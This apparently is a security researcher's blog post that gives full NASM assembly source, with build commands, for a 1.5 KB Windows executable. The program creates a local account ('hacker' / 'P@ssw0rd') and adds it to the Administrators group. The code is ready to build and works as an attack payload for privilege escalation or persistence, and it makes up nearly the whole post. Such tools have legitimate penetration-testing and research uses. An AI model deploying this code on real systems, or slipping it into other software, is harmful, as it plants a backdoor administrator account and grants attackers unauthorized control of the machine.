I wrote a tiny EXE program (1,5 KB) that creates an account and adds it to the local administrators group.
It’s written in 32-bit assembly code (it’s not shellcode), and needs to be assembled with nasm and then linked to a PE file.
The first 3 %define statements define the account name, password and local group.
; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
; nasm -f win32 add-admin.asm
; Microsoft linker:
; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
; /fixed -> no relocation section
; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
; /filealign:256 -> smaller, but no valid exe
; MinGW linker:
; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
; 2020/03/13
; 2020/03/14 refactor
; 2020/03/15 refactor
BITS 32
%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'
global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4
struc USER_INFO_1
.uName RESD 1
.Password RESD 1
.PasswordAge RESD 1
.Privilege RESD 1
.HomeDir RESD 1
.Comment RESD 1
.Flags RESD 1
.ScriptPath RESD 1
endstruc
struc LOCALGROUP_MEMBERS_INFO_3
.lgrmi3_domainandname RESD 1
endstruc
USER_PRIV_USER EQU 1
UF_SCRIPT EQU 1
section .text
_main:
mov ebp, esp
sub esp, 4
; NetUserAdd(NULL, level=1, buffer, NULL)
lea eax, [ebp-4]
push eax
push UI1
push 1
push 0
call _NetUserAdd@16
; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
push 1
push LMI3
push 3
push ADMINISTRATORS_UNICODE
push 0
call _NetLocalGroupAddMembers@20
; ExitProcess(0)
push 0
call _ExitProcess@4
; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
; section .data
UI1:
istruc USER_INFO_1
at USER_INFO_1.uName, dd USERNAME_UNICODE
at USER_INFO_1.Password, dd PASSWORD_UNICODE
at USER_INFO_1.PasswordAge, dd 0
at USER_INFO_1.Privilege, dd USER_PRIV_USER
at USER_INFO_1.HomeDir, dd 0
at USER_INFO_1.Comment, dd 0
at USER_INFO_1.Flags, dd UF_SCRIPT
at USER_INFO_1.ScriptPath, dd 0
iend
USERNAME_UNICODE:
db __utf16le__(USERNAME), 0, 0
PASSWORD_UNICODE:
db __utf16le__(PASSWORD), 0, 0
ADMINISTRATORS_UNICODE:
db __utf16le__(ADMINISTRATORS), 0, 0
LMI3:
istruc LOCALGROUP_MEMBERS_INFO_3
at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
iend
Didier Stevens 